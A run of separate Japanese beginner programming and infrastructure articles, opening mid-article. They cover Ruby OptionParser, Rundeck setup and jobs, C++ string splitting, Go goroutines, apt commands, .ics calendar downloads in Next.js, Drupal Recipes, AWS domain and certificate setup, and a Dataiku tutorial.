必須のパラメーターをとるスイッチは、必須のパラメーターをとることを表す文字列を置きます。このとき、

* `opt.on("-f REQ") {...}`
* `opt.on("--foo REQ") {...}`

のように任意の文字列をスペースをあけて定義するものと、

* `opt.on("-fREQ") {...}`
* `opt.on("--foo=REQ") {...}`

のようにショートスイッチにおいてはスペースを省略し、ロングスイッチにおいてはスペースをイコールに置き換えて定義するものがあります。前者と後者のパース時の違いはないように見受けられます。

任意のパラメーターをとるスイッチは、任意のパラメーターをとることを表す文字列を角括弧に続けて置きます。このとき、

* `opt.on("-f [OPT]") {...}`
* `opt.on("--foo [OPT]") {...}`

のように任意の文字列をスペースをあけて定義するものと、

* `opt.on("-f[OPT]") {...}`
* `opt.on("--foo=[OPT]") {...}`

のようにショートスイッチにおいてはスペースを省略し、ロングスイッチにおいてはスペースをイコールに置き換えて定義するものがあります。前者を space タイプと呼ぶこととし、後者を non-space タイプと呼ぶこととします。

パースする場合、任意のパラメーターをとる space タイプのスイッチは、

* `opt.parse(["-f", "arg"])`
* `opt.parse(["--foo", "arg"])`

のように後続に普通の引数を取ることができます。つまり、スペースをあけて引数を指定できるということです。また、

* `opt.parse(["-farg"])`
* `opt.parse(["--foo=arg"])`

のように non-space な指定もできます。

一方、任意のパラメーターをとる non-space タイプのスイッチは、non-space な指定のみできます。スペースをあけて指定するとスイッチへの引数として解釈されません。

<!-- このような挙動の詳細は、ruby のテストケースに（たぶん）含まれていませんが、オプショナルなパラメーターをとるスイッチを定義するときは space タイプと non-space タイプで違いがあることを覚えておくとよいでしょう。 -->
オプショナルなパラメーターをとるスイッチを定義するときは space タイプと non-space タイプで違いがあることを覚えておくとよいでしょう。

----

終わりです。
Rundeckでジョブを作成する

# 事前準備
Rundeckの起動は以下の記事で．

https://qiita.com/KiYuRo/items/08a0c2222db56ef70309

# プロジェクトを作成する
- `Create New Project`をクリック
![スクリーンショット 2024-06-09 170414.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/931058/8993b4c9-42b8-cb3b-29a2-df54a58189b5.png)

- `Project Name`を入力し`作成`をクリック
![スクリーンショット 2024-06-11 223411.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/931058/a66b4370-03ee-5897-3e7e-cb49e4660169.png)

# ジョブを作成する
- `新しいジョブを作成`をクリック
![スクリーンショット 2024-06-11 223745.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/931058/580f3c0f-6ebd-7744-a770-c2760e7f20ac.png)

- ジョブ名を入力
![スクリーンショット 2024-06-11 223708.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/931058/06114df8-cba0-6906-9736-b68dc1c6e208.png)

- ワークフロータブからステップを作成．今回はインスタンスのIPを表示するコマンドを入力し`保存`->`作成`をクリック
`echo $(curl -s http://checkip.amazonaws.com)`
![スクリーンショット 2024-06-11 225150.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/931058/9007f156-5b4f-363c-d9da-0be9e7565753.png)

# ジョブを実行する
- `今すぐジョブを実行`をクリックすればジョブを実行できる
- アクティビティから実行履歴が確認できる．
- 見たいアクティビティを選択しログにIPアドレスが表示されていれば成功！！
![スクリーンショット 2024-06-11 225524.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/931058/c0a6cede-2125-a375-5a7c-9cdbba50aa1a.png)

# ジョブを階層構造にする
- グループ名を入力してジョブを作成することで階層分けできる
![スクリーンショット 2024-06-11 225913.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/931058/b0cd4d8f-4e73-2794-781e-d907fd0676e7.png)

![スクリーンショット 2024-06-11 230121.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/931058/a5ad0dff-3f06-317c-fb79-53eba387c145.png)

# ジョブの定義をダウンロード
ジョブを選択し`Action` -> `XXX形式でジョブ定義をダウンロード`をクリック

![スクリーンショット 2024-06-11 230542.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/931058/cf699321-6ee2-0833-c6c0-a297b10973d8.png)

```yml
- defaultTab: nodes
  description: ''
  executionEnabled: true
  group: group/job2
  id: c8141503-dac7-459d-bf28-cff2caf5ba73
  loglevel: INFO
  name: test_job2
  nodeFilterEditable: false
  plugins:
    ExecutionLifecycle: {}
  scheduleEnabled: true
  sequence:
    commands:
    - exec: echo "hello"
    keepgoing: false
    strategy: node-first
  uuid: c8141503-dac7-459d-bf28-cff2caf5ba73

```
【C++】文字列を分割するsplit関数を作ってみた

# はじめに

業務でC++のコードを触った時に、「読み込んだファイルをカンマ区切りにする」という処理を実装するのにJavaの`split`のような関数を使おうと思って探したものの、split関数は存在しないことが分かりました。
最新の言語仕様だとsplitに相当する新しい関数が追加されているかもしれませんが、C++の素人としてはちょっと衝撃を受けました。

今回は[こちらのサイト](https://marycore.jp/prog/cpp/std-string-split/)を見よう見まねで「split関数」を作ってみたので、そのコードを記事としてまとめることにしました。

# 作成したコード

* 以下のコードは[paiza.io](https://paiza.io/ja/projects/new)で動作を確認しました。
  * ですが、そもそもC++の書き方というか流儀のようなものが良く分かっていないので、色々間違っている点があるかもしれません...
* 色々と調べたところ、`getline`関数を使うと簡単にsplit的な操作ができると書かれていたため、今回はその方法を採用しました。
* [getline関数のリファレンス](https://cpprefjp.github.io/reference/string/basic_string/getline.html)を見ると、第1引数は`std::basic_istream`という型でしたが、ここでは[こちらのサイト](https://marycore.jp/prog/cpp/std-string-split/)に倣って`stringstream`型を使っています。
  * `stringstream`型と`std::basic_istream`型の関係を少し調べてみたものの、親子関係のクラスであるのかは分かりませんでした。
* 私の用途だと区切り文字はカンマになることが大半なので、split関数のプロトタイプ宣言にデフォルト引数として`','`を設定しています。
  * [こちらのページ](https://kaworu.jpn.org/kaworu/2010-12-08-1.php)を見ると、関数宣言とプロトタイプ宣言の両方でデフォルト引数を設定するとエラーになると書かれていたので、それに従って記述しました。
* 引数`text`が空文字の場合のチェックを入れていますが、これは余り意味が無いかもしれません...
* 出力部分では1行ごとに`endl`でフラッシュしていますが、実用上は毎行フラッシュするのは非効率だと思うので、ここは改めた方が良いかもしれません。


```cpp:Main.cpp
#include <iostream>
#include <string>
#include <sstream>
#include <vector>
using namespace std;

// split関数のプロトタイプ宣言
vector<string> split(const string text, const char delimiter=',');

int main(void){
    string text = "100-0005,東京都千代田区丸の内1丁目,東京駅";
    vector<string> cols = split(text);
    
    for (int i=0; i<cols.size(); i++) {
        cout << cols[i] << endl;
    }
}

/**
 * 文字列を区切り文字で区切って、vector型で返却する。
 * text: 対象となる文字列。
 * delimiter: 区切り文字。デフォルト値はカンマ。
 */
vector<string> split(const string text, const char delimiter) {
    vector<string> columns;
    
    if (text.empty()) {
        return columns;
    }
    
    stringstream stream{text};
    string buff;
    while (getline(stream, buff, delimiter)) {
        columns.push_back(buff);
    }
    return columns;
}
```

```text:実行結果
100-0005
東京都千代田区丸の内1丁目
東京駅
```

# その他

* C言語のprintf関数の代わりに`cout`を使っていますが、この名前はどうやら「character output」の略らしいということが分かって何となくスッキリしました。
  * 上にも書いたようにC++はド素人なので、最初は「しーあうと」って何だろうと考えてしまいました...


# 参考URL

* [C++ std::string 文字列の分割（split）](https://marycore.jp/prog/cpp/std-string-split/)
* [getline関数 - C++日本語リファレンス](https://cpprefjp.github.io/reference/string/basic_string/getline.html)
* [std::basic_istream - C++日本語リファレンス](https://cpprefjp.github.io/reference/istream/basic_istream.html)
* [sstream - C++日本語リファレンス](https://cpprefjp.github.io/reference/sstream.html)
* [C++ デフォルト引数はプロトタイプ宣言だけにする default argument given for parameter](https://kaworu.jpn.org/kaworu/2010-12-08-1.php)
【誰も使わない】矢印を使わずに1つ前のコマンドを再度実行する

直前に実行したコマンドを再び実行する場合、上矢印キーを使うのが一般的だろう。
実は、`!!`コマンドを使っても再実行できる。
```bash
$ figlet Hello
 _   _      _ _
| | | | ___| | | ___
| |_| |/ _ \ | |/ _ \
|  _  |  __/ | | (_) |
|_| |_|\___|_|_|\___/

$ !!
figlet Hello
 _   _      _ _
| | | | ___| | | ___
| |_| |/ _ \ | |/ _ \
|  _  |  __/ | | (_) |
|_| |_|\___|_|_|\___/
```
しかし、勘違いで想定外のコマンドを実行してしまう可能性もあるため、推奨はしない。
JDLA Generative AI Test 2024 #1を受験した感想

# 概要
先日、生成AIパスポート試験と合わせてJDLA(日本ディープラーニング協会)が実施しているGenerative AI Testを受験しました。結果発表は少し先ですが、記憶が薄れないうちに記事として投稿することにしました。

# Generative AI Testとは？
以下、[公式](https://www.jdla.org/certificate/generativeai/)ページの情報です。JDLAと言えば、G検定やE資格が有名ですが、2023年の6月から生成AIに特化したGenerative AI Testが実施されています。

* 受験資格: どなたでも受験可能
* 実施概要: 試験時間 20分
* 問題形式: 択一式/多肢選択式 19問, 記述式 1問
* 実施形式: IBT形式
* 出題範囲: [シラバス](https://www.jdla.org/certificate/generativeai/#toc7)より出題
* 受験費用: 2,200円 (税込)

## 参考

https://www.jdla.org/certificate/generativeai/

https://www.jdla.org/certificate/generativeai/#toc7

また、公式ページでは過去問の例題と解説が公開されています。但し、試験の特性上？の事情なのか、試験対策の参考書などは販売されていません。

https://www.jdla.org/certificate/generativeai/issues/

# 受験した感想
問題数20問(うち多肢選択式が19問、記述1問)で、試験時間が20分であるため、あまり時間に余裕は有りません。サクサク解いていく必要が有ります。一応試験中はネット検索をすることは禁止されていませんが、調べながら時間内に全部解答し、見直しまでするというのは困難でしょう。特に記述式の問題が最後の問題に有ります。生成AIに対する受験者の理解を問うような記述式問題が出題されていました。よって、試験中に調べるとしても、しっかり生成AIについて勉強しておいて、どうしても分からない問題について(特に最新の動向や精度に関する問題)調べて確認する程度となるでしょう。
JSXでワンクリックカレンダー登録(.ics)を行うボタンを実装する

# やりたいこと

<b>ホームページ上のボタンからワンクリックでiPhoneなどのカレンダーアプリに登録できるようにする。</b>

例えば、以下のWEBサイトでは、音楽ライブの日程をワンクリックで追加することができます。
https://www.sano-maoko.jp/live

<details><summary>具体的な動作</summary>

1. HP(佐野真於子さん)の画面
以下の画面の「カレンダーに追加」ボタンを押すと、
![クリック画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/628237/ac97bf6a-50b8-ac68-049b-3c0f5b6e9b0a.jpeg)

1. クリック後の画面
iPhoneの場合、以下のような画面が開きます。表示されたイベントはUI株の「カレンダーに追加」をタップするとカレンダーに追加されます。
![HP画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/628237/02218598-191b-8ad5-0f45-fda301e2f9ef.jpeg)

</details>

# 概念

- PC上でカレンダー情報を表現する際の共通のフォーマットである.ics(iCalender)ファイルを活用
- <b>ボタンクリック時に.icsファイルをダウンロードする処理を実装する</b>ことで、クライアント側が勝手に判断して自身のカレンダーにイベントを追加してくれます。

# 実装

ここからは、JSX(Next.js)で上記の動作を実行するための実装を説明します。（Reactでも同様です。）

### 環境
``` json
  "dependencies": {
    "ics": "^3.7.2",
    "next": "^14.2.3",
    "react": "^18.3.1",
    "react-dom": "^18.3.1"
  },
```

## インストール

まず、.icsファイルの作成用npmパッケージをダウンロードします。
https://www.npmjs.com/package/ics

### npm
``` 
npm install ics
```

## ソースコード

以下のように実装します。JSXの環境下で実装しています。

``` js:Live.tsx
import { EventAttributes, createEvent } from "ics";

export const Live: NextPage = () => {
  // ダウンロード用URL
  const [url, setUrl] = useState("");

  // 初期化
  useEffect(() => {
    createCalenderEvent();
  });

  // カレンダーイベントを作成する。
  async function createCalenderEvent() {
    // イベントの情報
    const eventSource: EventAttributes = {
      title: "title",
      location: "name",
      start: [
        liveDate.getFullYear(),
        liveDate.getMonth() + 1,
        liveDate.getDate(),
        liveDate.getHours(),
        liveDate.getMinutes(),
      ],
      duration: { hours: 2 },
    };

    // ファイルセット
    const filename = "live.ics";
    const event = await createEvent(eventSource).value;
    if (event !== undefined) {
      const file = new File([event], filename, { type: "text/calendar" });
      const url = URL.createObjectURL(file);
      setUrl(url);
    }
  }

  // ダウンロード処理
  function download() {
    const link = document.createElement("a");
    link.href = url;
    link.download = "live.ics";
    link.click();
  }

  return (
    <>
      <button onClick={() => download()}>Download</button>
    </>
  );
};

```

:::note info
カレンダーイベントは、MIMEタイプ"text/calender"で表されるテキストファイルです。
:::


## 説明

- useEffectでcreateCalenderEventを呼び出すことでカレンダーファイルの作成/リンクの取得をします。初期化時に、.icsファイルを作成し、ダウンロード用urlを作成します。ダウンロード用urlをstateに保存しておきます。
- 上記で作成したカレンダーイベントをダウンロードするために、download関数を呼び出します。download関数では、ダミーのリンクエレメントを作成し、作成したカレンダーイベントをリンク先にセットすることで、ダウンロード処理を実施します。

# まとめ

本記事では、HP上からワンクリックでイベントを追加するための方法を説明しました。.icsファイルを作成し、ダウンロードできるようにすることで実現できます。
【Linux】apt update, upgrade, dist-updateの違い

## 概要
この記事はDebian系のパッケージ管理で使われるコマンド、aptについて書いたものです。

```
apt update
apt upgrade
apt dist-upgrade
```

この3つの違いが気になったので、調べてまとめました。

↓　パパッと知りたい人向け
| コマンド | 意味 |
|:-:|:-|
| **update** | パッケージ情報を更新するコマンド（アップデートできるものを示す） |
| **upgrade** | インストールされているパッケージを更新するコマンド（<font color=Red>現行の依存関係を重視</font>）|
| **dist-upgrade** | ディストリビューション全体を最新版にアップグレードする（<font color=Red>必要に応じて依存関係を見直す</font>）|

以降、ひとつずつ詳しく載せていきます。

:::note alert
この記事は初学者が書いています
載っている情報に間違いのある可能性がありますので、ご了承ください。
:::


## apt update
```apt update```は、アップデートが可能なパッケージの情報を更新します。

具体的な処理内容は、<font color=Red>``/etc/apt/sources.list``</font>に書かれているリストに基づいて、リポジトリからパッケージインデックスファイルを取得します。
その後、そのファイルを<font color=Red>``/var/lib/apt/lists``</font>に納めるという流れです。

:::note info
**リポジトリとは？**
ソフトウェアのデータベースのことです。そういうサーバーがあるらしいです。
:::

:::note info
**パッケージインデックスファイルとは？**
ソフトウェアデータベース（リポジトリ）にあるパッケージ情報のことで、新たな更新やインストールがあった場合の更新情報が記録されています。ゲームの最新パッチみたいなものですかね。
:::

:::note warn
**パッケージの更新はしない**
更新やインストールができるパッケージ一覧を更新するだけで、実際に行わない。
:::

## apt upgrade
**実際にパッケージを更新するコマンド**。

apt updateで手に入れた最新情報を使って、パッケージの更新をします。

このコマンドでは、現行の依存関係に気を配り、維持しようとします。
もう少しかみ砕いて書くと、**最新版パッケージに必要な新規パッケージの追加**や、使わなくなった**パッケージの削除はしません**。
これは新規インストールや削除が、システムに予想外の被害を発生させないためです。

さらに、upgradeが対象にしているのは、インストール済みパッケージだけで、OSの心臓部分である<font color=Red>カーネルに関しては更新しません</font>。

:::note info
`apt upgrade`まとめ
**・パッケージ情報のみ更新する（新規インストール, 削除はしない）
・現状の依存関係を維持する**
:::



以上の2点を抑えましょう。

## apt dist-upgrade
upgradeとほぼ同じ。
違うのは<font color=Red>新しい依存関係を適用する</font>ことで新しいパッケージのインストールや、使わなくなったパッケージを削除してくれるところです。

カーネル関係も更新してくれるので、<font color=Red>ディストリビューション全体のアップデート</font>と考えていいと思います。



## なぜこのコマンドをするの？
Ubuntuを入れた状態では、構成するソフトウェアが最新の状態ではありません。
各種アプリケーションは、パッケージとして用意されているので、それを更新することで最新版になれます。

Ubuntuでは、このパッケージを管理するのに**APT**という仕組みを使っています。
APTは`apt`コマンドを使って、インターネット上にあるパッケージを保存しているサイトから、最新のモノを手に入れてアップデートしてくれます。

これが上で説明していたコマンドをする理由です。

:::note info
最後におまけ
`apt upgrade`をするときに、`-y`をつけることで途中の認証をスキップできます。
:::
Golang 並行処理(goroutine)を覚えよう！

## はじめに
2つ目の記事のテーマはgoroutineを使用した並行処理です。
Goの強みとして並行処理が得意なことは知っているけど、具体的な使い方がわからない、そもそも並行処理がどのようなものかもわからないという方向けの並行処理基礎講座です。ぜひ見ていってください。
## 並行処理とは
そもそも並行処理とは、コンピュータプログラムが同時に複数のタスクを実行できるようにする計算概念のことです。一般的なプログラミングモデルでは、処理は1つ1つ順番に実行されます。つまり、Aというタスクを実行した場合、途中でやめるか終了するまでBという次のタスクに移ることはできません。しかし、並行処理では、複数のタスクが同時に進行でき、各タスクの実行がお互いに干渉することも可能となります。
<h2>並列処理との違い</h2>
並行処理はよく、並列処理と間違われることがあります。その実、並行処理と並列処理は、両方とも複数のタスクが同時に進行することを意味します。しかし、微妙な違いがあるのです。
簡潔に言えば、並行処理は複数のタスクが同時に進行しているように見えるが、実際には同時には実行されていない場合があります。一方、並列処理では、複数のタスクが同時に実際に実行されるという違いがあります。もっと詳しい違いを知りたい方は、

[こちら](https://zenn.dev/y_yuita/articles/de09b33dad9bfb)をご覧ください。とても分かりやすく説明されています。
## 実際に使ってみた
Go言語で並行処理を使った簡単なコードを書いてみました。<br>この例では、[goroutine](https://go-tour-jp.appspot.com/concurrency/1)を使用して、異なる処理を並行して実行しています。
```Go:main.go
package main

import (
    "fmt"
    "sync"
    "time"
)

func main() {
    // WaitGroupを作成して、goroutineの終了を待つ
    var wg sync.WaitGroup

    // 並行して実行する処理の数
    numProcesses := 5

    // ゴルーチンの数だけカウントを増やす
    wg.Add(numProcesses)

    // 並行処理を開始
    for i := 0; i < numProcesses; i++ {
        go func(id int) {
            // 処理の完了をWaitGroupに通知
            defer wg.Done()

            // 何らかの処理を行う
            fmt.Printf("処理 %d 開始\n", id)
            time.Sleep(time.Second) // 例として1秒スリープ
            fmt.Printf("処理 %d 完了\n", id)
        }(i)
    }

    // すべてのgoroutineが終了するのを待つ
    wg.Wait()

    fmt.Println("すべての処理が完了しました。")
}
```
###### こちらが実行結果になります。<br>
![スクリーンショット 2024-06-11 214443.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3812145/c47fb357-795d-b7fd-3dbd-329f940b90ed.png)

## コードの解説
まず、wgという名前のWaitGroupインスタンスを作成しています。
[sync.WaitGroup](https://pkg.go.dev/sync) は、goroutine(並行処理の単位)の完了を待つための仕組みです。
その次は、numProcesses変数に並行して実行する処理の数を設定しています。
次に、forループを使って指定された数だけgoroutineを作成しています。
各goroutineは、go func(id int) の形で無名関数として定義されています。
idパラメータは、各goroutineの識別子となってます。
defer wg.Done() は、goroutineが終了したことを WaitGroup に通知します。
fmt.Printf を使って、処理の開始と完了を表示しています。
time.Sleep(time.Second) は、1秒間スリープを表しています。実際は必要ありませんが、今回は並行処理をわかりやすくするために実装しました。
そして、wg.Wait() を呼び出すことですべてのgoroutineが順次終了します。
すべてのgoroutineが完了後、すべての処理が完了しました。と表示されます。
## 最後に
質問、ご指摘ありましたらいつでもお待ちしております。
最後までお付き合いくださりありがとうございました。
Rundeckの構築方法

# 概要

https://docs.rundeck.com/docs/

> Rundeckとは、PagerDuty, Inc. によって開発されたジョブ管理のソフトウェアである。 ジョブの作成、実行、管理、スケジューリング等をすることができる。 Rundeckは、Javaで動作するため多くのOSで利用可能である。
https://www.designet.co.jp/faq/term/?id=UnVuZGVjaw

一言でいうとcronの進化系かなと思います。

# 構築手順

https://docs.rundeck.com/docs/administration/install/linux-deb.html#installing-rundeck

1\.javaインストール
```
sudo apt-get install openjdk-11-jre-headless
```
2\.リポジトリ署名キーをインポート
```
curl -L https://packages.rundeck.com/pagerduty/rundeck/gpgkey | sudo apt-key add -
```
3\.rundeckインストール
```
sudo apt-get update
sudo apt-get install rundeck
```
4\.daemon-reload及びrundeck起動
```
sudo systemctl daemon-reload
sudo service rundeckd start
```
5\.ログ確認
```
tail -f /var/log/rundeck/service.log
```
6\.以下のようなログが出力されればOK
```
Grails application running at http://localhost:4440 in environment: production
```
7\.今回localhostではないところで動かしているので、以下設定を変更する
```
vi /etc/rundeck/rundeck-config.properties 
```
```
#grails.serverURL=http://localhost:4440
grails.serverURL=http://192.168.11.14:4440
```
1\.rundeck再起動
```
sudo service rundeckd restart
```

http://192.168.11.14:4440/

初期アカウント
ユーザー名 : admin
パスワード : admin



![スクリーンショット 2024-06-11 22.16.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2620245/16a64655-c724-5ebe-c3e8-2daae1d13e74.png)
ターミナルにドット絵のキャラを召喚する

# やりたいこと

このようなこと（↓）をやりたい。

![doushi_win10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3812996/c3a5f846-790f-7caf-32b6-34db7c3e7810.png)

---

# 経緯

昔参加した勉強会で、ほかの参加者のターミナルをふと覗くと
ファミコンのドット絵キャラクタが召喚されているのを見て
私もやりたくなったのでした。

しかしどうやるのか完全に不明だったので調べてみました。
何番煎じかわかりませんが書いてみます。

---

# ANSIエスケープシーケンスについて


ANSIのエスケープシーケンス表記を使えば
ターミナル出力の文字や背景色に色を付けることができます

（色付けのほかにも、いろいろできます！）
参考：https://qiita.com/PruneMazui/items/8a023347772620025ad6#%E5%87%BA%E5%8A%9B%E8%89%B2%E3%81%AE%E5%A4%89%E6%9B%B4

全角スペースに背景色をつけると１ドット分の絵が描けますので、
これでドット絵を描いていけばいいのですね！


![キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3812996/5f46f831-f777-6238-6af4-cc1ed8c28dcb.png)
↑VSCodeでANSIドット絵を表示した例

---

# 表示

あとはこれをファイルにして、ターミナルで表示すればよさそうです

WINDOWSの場合。
```
> type doshi.tan
```


LINUX, Macならcatで。

```
$ cat doshi.tan
```
![doushi_mac.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3812996/a8eaf27d-8ec9-3b9e-1d40-5876510976c4.png)


やりましたｖ

皆様もぜひ楽しいターミナルライフをお過ごしください☆
DrupalのRecipesを試す

試す環境

* DDEV v1.23.1
* Drupal 10.3.0-rc1

DDEVでDrupalサイトを用意する。※ minimalプロファイル以外で該当のレシピが動かないため、minimalプロファイルでサイトをインストールすること。([該当issue](https://www.drupal.org/project/distributions_recipes/issues/3365724#comment-15311569))

```shell-session
mkdir drupal-recipes
cd drupal-recipes
ddev config --project-type=drupal --php-version=8.3 --docroot=web
ddev start
ddev composer create drupal/recommended-project:10.3.0-rc1@RC
ddev config --update
ddev composer require drush/drush
ddev drush site:install minimal --account-pass=admin -y
```

PackagistからComposerでレシピをインストールできるようにComposer.jsonを設定する。

```shell-session
ddev composer config allow-plugins.oomphinc/composer-installers-extender true
ddev composer config extra.installer-types --merge --json '["drupal-recipe"]'
ddev composer config extra.installer-paths --merge --json '{"web/recipes/{$name}": ["type:drupal-recipe"]}'
ddev composer require oomphinc/composer-installers-extender
ddev composer config allow-plugins.ewcomposer/unpack true
ddev composer config repo.recipe-unpack vcs https://github.com/woredeyonas/Drupal-Recipe-Unpack.git
ddev composer require ewcomposer/unpack:dev-master
```

Packagistからレシピをインストールする。

```shell-session
ddev composer require kanopi/gin-admin-experience:1.0.0-beta
```

サイトにレシピを適用する。

```shell-session
ddev exec -d /var/www/html/web php core/scripts/drupal recipe recipes/gin-admin-experience
```

以下の出力がされればOK。

```
13/13 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓]
Applied Gin Admin Experience recipe.

 [OK] Gin Admin Experience applied successfully
```

Drupalサイトにアクセスして、gin_loginモジュールが提供するログイン画面が表示されていれば成功。

![Screenshot 2024-06-11 at 22.43.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79577/41951b6c-b2a7-2366-9877-522190fd8bbf.png)

参考

* https://git.drupalcode.org/project/distributions_recipes/-/blob/1.0.x/docs/getting_started.md
AWSのS3を用いて静的なサイトを立ち上げてみる

# はじめに
AWSのお勉強と自身のポートフォリオづくりもかねてAWSで簡単なサイトを立てる練習をしてみます。
理想はこんな感じでRoute 53とCloudFront、ACMとS3を用いて構成していきます。まずはRoute 53の設定から行います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/11663131-f05a-d537-1dbf-28f32344fa1d.png)

## Rout53
### ドメイン登録
まずはRoute 53でドメインを登録します。
①Route 53のダッシュボードから「ドメインの登録」
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/66e980eb-4a79-6222-e0de-7fda18af1d50.png)

②ドメインの検索より任意のドメインを検索
入力内容と同じドメインがなければ検索結果に完全一致と表示されます。もし、同じものがあれば推奨される使用可能なドメインとして候補が表示されます。
ドメインの料金は年額となっており、記事を執筆した時点では年14 USDが最安のようです。
問題なければ選択を押下し、チェックアウトに進みます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/5a533391-bab7-14b1-ae86-388f064fe4fe.png)

購入に必要な情報を入力したら確認画面がでますので、最下部のAmazon Route 53 ドメイン名登録エンドユーザー契約を読み、チェックをいれ、送信ボタンを押下します。
登録内容に問題なければEメールが送信されます。
Eメール付属のリンクを押下すれば完了です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/97497870-2ea9-f29e-78f4-4dba5c87d121.png)
しばらく待つとリクエストが進行中から成功に変化します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/ffaadf75-b5a4-50a2-81d1-f1b6a66f112c.png)
### ホストゾーンの設定
Quitaの過去記事等、見ているとこの後ホストゾーンの設定が必要と書かれていました。私の場合はすでに作成されており、ネームサーバーおよびSOAレコードも作成されていました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/6c884ce3-ee83-cb5a-7308-b966660d1dcd.png)

## SSL証明書の発行
### AWS Certificate Manager
ACM(AWS Certificate Manager)を用いて証明書を発行します。証明書を発行し、ドメインと紐づけることでセキュリティの高いサイトを作成することができます。証明書の発行は無料でできます。
証明書のリクエストより、証明書を発行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/8a450070-d2e1-30df-04fb-27e549e4117b.png)
パブリック証明書をリクエストのまま、次へを押下します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/5d8c0aef-1e15-32ea-a6fa-f829c12b31e1.png)
完全修飾ドメイン名に先ほどRoute 53で作成したドメインを入力します。
また、サブドメインでもこの証明書を使用できるよう、この証明書に別の名前を追加を押下し、`*."Route 53で作成したドメイン"`を入力します。
他の設定はそのままでリクエストします。
![スクリーンショット 2024-06-12 152216.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/51c10e5d-cfb4-b9b3-ae8a-7c941cf09683.png)

完了すると、証明書の欄に先ほど作成したものが追加されています。
証明書IDの部分を押下し、次の画面へ進みます。
![スクリーンショット 2024-06-12 152256.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/ddef1061-9644-e970-5066-83f32bb20b6c.png)

画面遷移後、中段くらいにドメインの項目があります。
ここにRoute 53でレコードを作成とあるのでこちらを押下します。
![スクリーンショット 2024-06-12 152319.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/525990e3-7ef8-5a2d-90d2-cbe32666d553.png)

画面遷移後、自動的に項目が選択されているので、下部にあるレコードを作成を押下します。
![スクリーンショット 2024-06-12 152613.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/7c8ea633-a337-b8c6-76ce-e00547a68df9.png)

Route 53に戻りCNAMEレコードが追加されていれば完了です！
![スクリーンショット 2024-06-12 152614.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/273072/9618c69c-b8d0-2f72-196d-c488cdc6b5bd.png)


# おわりに
今回はRoute 53でドメインの登録とACMで証明書の発行を行いました。
次回はサブドメインの作成とS3のバケット作成を行います。
次回の記事はこちら

https://qiita.com/sakura11054/items/a29741cf124ba315d892

2024/06/12追記
残作業があったため、更新しました！
dataiku-basic-tutorialを受けてみた（その１）

# Storage TypeとMeaning

## Storage Type
csvファイルを読み込む際は、Storage Typeの方は全て文字型になります。

DBなどからインポートする際は、型が決まっているため基本的には変更するべきではないです。

結合する際、例えば、user_idでjoinしたい場合、一方が文字列型で、一方が数値型の場合
結合することはできない。

## Meaningとは？

Dataikuは上記で記載したように、元データからカラムの型を取得します
Dataikuはそれとは別に列の値の性質を反映した型も検出します。

dataikuには、米国の州、IPアドレス、電子メールなど、多くの概念が組み込まれています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/6b82d26f-06fa-84be-0bfb-8f8d3ecec87c.png)

また、この枠を見ると、緑色と赤色のバーがあります。
値を見ると、所々赤色になっています。

これが、meaningが得た型と違うということを示唆しています。
とってもUIが見やすいですね。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/7f15e811-8106-a2f5-885d-a79a46df0274.png)

# Chartsとは

取得したデータをグラフ等で可視化できます。
したの赤枠をクリックすると出てきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/a2f41fff-25a7-5b5b-dda7-2bf69583aba2.png)


では簡単な操作を説明します。
ドラックアンドドロップして X・Y軸に入れる感じです
どこかとなくTableauに似ています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/eef556e1-5e6f-bad1-5fe9-102f19df45f3.png)

下のカテゴリを見ると、カテゴリが一緒の要素っぽいですが
別々のカテゴリとなってしまっていますね。
これは修正する必要があります。

それには『レシピ』が必要になります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2526914/73efc6f2-93e7-a9fc-f98f-4d2491ce7e71.png)

# レシピ

Dataikuでいうレシピとは、小難しく言ってますが『前処理』ですね
1つまたは複数の入力データセットに対して実行するアクションのセットであり、結果として1つまたは複数の出力データセットになります。

下の図でもわかるように、
・コードレシピ
・ビジュアルレシピ
の２種類があります

名前の通り、GUIでやるかコードをつかってやるかの違いですね。

複雑な処理はコードレシピが必要になってくるそうです。

下の順番で進みます。

